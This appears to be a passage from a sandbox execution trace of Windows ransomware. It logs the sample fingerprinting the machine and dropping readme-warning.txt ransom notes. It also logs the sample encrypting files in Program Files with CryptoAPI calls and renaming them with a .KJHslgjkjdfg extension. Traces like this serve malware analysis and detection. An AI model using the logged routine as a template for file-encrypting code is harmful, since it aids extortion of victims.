hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0153.387] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0153.387] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.387] GetProcessHeap () returned 0x2a0000 [0153.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0153.387] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0153.387] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0153.387] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.387] GetProcessHeap () returned 0x2a0000 [0153.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f99e0 [0153.387] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0153.387] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f99e0, pdwDataLen=0x290eb98 | out: pbData=0x2f99e0, pdwDataLen=0x290eb98) returned 1 [0153.387] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.387] GetProcessHeap () returned 0x2a0000 [0153.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0153.387] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0153.388] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0153.388] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.388] GetProcessHeap () returned 0x2a0000 [0153.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0153.388] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0153.388] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290e778 | out: pbData=0x2c1618, pdwDataLen=0x290e778) returned 1 [0153.388] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.388] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0153.388] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0153.388] RegCloseKey (hKey=0x13c) returned 0x0 [0153.388] GetProcessHeap () returned 0x2a0000 [0153.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0153.389] GetProcessHeap () returned 0x2a0000 [0153.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0153.389] GetProcessHeap () returned 0x2a0000 [0153.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0153.389] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0153.389] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290e54c | out: pbData=0x2c1618, pdwDataLen=0x290e54c) returned 1 [0153.389] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.389] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0153.389] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.389] GetProcessHeap () returned 0x2a0000 [0153.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0153.389] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0153.390] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0153.390] GetProcessHeap () returned 0x2a0000 [0153.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f9da8 [0153.390] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\readme-warning.txt") returned 90 [0153.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\readme-warning.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0153.393] WriteFile (in: hFile=0x13c, lpBuffer=0x2f9da8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f9da8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0153.394] CloseHandle (hObject=0x13c) returned 1 [0153.394] GetProcessHeap () returned 0x2a0000 [0153.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f99e0 | out: hHeap=0x2a0000) returned 1 [0153.394] GetProcessHeap () returned 0x2a0000 [0153.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f9da8 | out: hHeap=0x2a0000) returned 1 [0153.394] GetProcessHeap () returned 0x2a0000 [0153.395] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0153.395] GetProcessHeap () returned 0x2a0000 [0153.395] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.395] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0153.395] GetProcessHeap () returned 0x2a0000 [0153.395] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f9730 | out: hHeap=0x2a0000) returned 1 [0153.395] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0153.395] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0153.395] GetProcessHeap () returned 0x2a0000 [0153.395] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0153.395] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0153.395] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0153.396] GetProcessHeap () returned 0x2a0000 [0153.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d78 | out: hHeap=0x2a0000) returned 1 [0153.396] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10", cAlternateFileName="")) returned 0 [0153.396] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0153.396] GetProcessHeap () returned 0x2a0000 [0153.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7af0 | out: hHeap=0x2a0000) returned 1 [0153.396] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd76fd0, ftCreationTime.dwHighDateTime=0x1d577e5, ftLastAccessTime.dwLowDateTime=0xebf198d0, ftLastAccessTime.dwHighDateTime=0x1d58e4e, ftLastWriteTime.dwLowDateTime=0xebf198d0, ftLastWriteTime.dwHighDateTime=0x1d58e4e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="far_responsible.exe", cAlternateFileName="FAR_RE~1.EXE")) returned 1 [0153.396] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0fba790, ftCreationTime.dwHighDateTime=0x1d5e7ea, ftLastAccessTime.dwLowDateTime=0x40755d10, ftLastAccessTime.dwHighDateTime=0x1d55f0b, ftLastWriteTime.dwLowDateTime=0x40755d10, ftLastWriteTime.dwHighDateTime=0x1d55f0b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="isspos.exe", cAlternateFileName="")) returned 1 [0153.396] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0fba790, ftCreationTime.dwHighDateTime=0x1d5e7ea, ftLastAccessTime.dwLowDateTime=0x40755d10, ftLastAccessTime.dwHighDateTime=0x1d55f0b, ftLastWriteTime.dwLowDateTime=0x40755d10, ftLastWriteTime.dwHighDateTime=0x1d55f0b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="isspos.exe", cAlternateFileName="")) returned 0 [0153.396] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0153.396] GetProcessHeap () returned 0x2a0000 [0153.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7878 | out: hHeap=0x2a0000) returned 1 [0153.396] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdce3e920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdce3e920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0153.396] GetProcessHeap () returned 0x2a0000 [0153.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x54) returned 0x2c22b0 [0153.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdce3e920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdce3e920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0153.397] GetProcessHeap () returned 0x2a0000 [0153.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0153.397] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdce3e920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdce3e920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.397] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0153.397] GetProcessHeap () returned 0x2a0000 [0153.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x256) returned 0x2c7878 [0153.397] GetProcessHeap () returned 0x2a0000 [0153.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2c22b0 [0153.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0153.398] GetProcessHeap () returned 0x2a0000 [0153.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0153.399] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.399] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0153.399] GetProcessHeap () returned 0x2a0000 [0153.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x266) returned 0x2c7ad8 [0153.399] GetProcessHeap () returned 0x2a0000 [0153.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x76) returned 0x2b9ae0 [0153.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0153.402] GetProcessHeap () returned 0x2a0000 [0153.402] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0153.402] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.403] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0153.403] GetProcessHeap () returned 0x2a0000 [0153.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x278) returned 0x2c7d48 [0153.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.404] GetProcessHeap () returned 0x2a0000 [0153.404] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.404] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.404] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.404] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.404] GetProcessHeap () returned 0x2a0000 [0153.404] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.404] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.404] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.404] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.407] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.408] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.408] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.408] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.408] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.408] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.408] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2340, lpOverlapped=0x0) returned 1 [0153.409] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2340, dwBufLen=0x2340 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2340) returned 1 [0153.409] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.409] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2340, lpOverlapped=0x0) returned 1 [0153.410] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.410] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.410] SetEndOfFile (hFile=0x114) returned 1 [0153.413] GetProcessHeap () returned 0x2a0000 [0153.413] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.413] GetProcessHeap () returned 0x2a0000 [0153.413] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.kjhslgjkjdfg")) returned 1 [0153.414] CloseHandle (hObject=0x114) returned 1 [0153.414] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0153.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.414] GetProcessHeap () returned 0x2a0000 [0153.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.415] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.415] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.415] GetProcessHeap () returned 0x2a0000 [0153.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.415] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.415] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.415] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.417] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.417] WriteFile (in: hFile=0x114, 